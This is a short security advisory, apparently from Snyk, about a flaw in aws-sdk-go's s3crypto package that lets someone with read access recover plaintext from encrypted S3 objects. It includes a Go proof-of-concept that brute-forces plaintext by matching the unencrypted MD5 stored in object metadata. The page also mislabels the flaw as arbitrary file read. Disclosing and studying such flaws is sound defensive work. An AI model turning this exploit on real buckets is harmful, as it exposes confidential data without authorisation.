Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade github.com/aws/aws-sdk-go/service/s3/s3crypto
to version 1.34.0 or higher.
github.com/aws/aws-sdk-go/service/s3/s3crypto is an AWS SDK for the Go programming language.
Affected versions of this package are vulnerable to Arbitrary File Read. An attacker with read
access to an encrypted S3 bucket is able to recover the plaintext without accessing the encryption key.
func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
_, header, err := input.S3Mock.GetObjectDirect(bucket, key)
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
blocks := length / 16
possiblePlaintextNum := 1
segNum := len(input.PossiblePlaintextSegments)
for i := 0; i < blocks; i++ {
possiblePlaintextNum *= segNum
}
for i := 0; i < possiblePlaintextNum; i++ {
w := i
guess := ""
for j := 0; j < blocks; j++ {
guess += input.PossiblePlaintextSegments[w%segNum]
w /= segNum
}
guessMd5 := md5.Sum([]byte(guess))
if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
return guess, nil
}
}
return "", fmt.Errorf("No plaintext found!")
}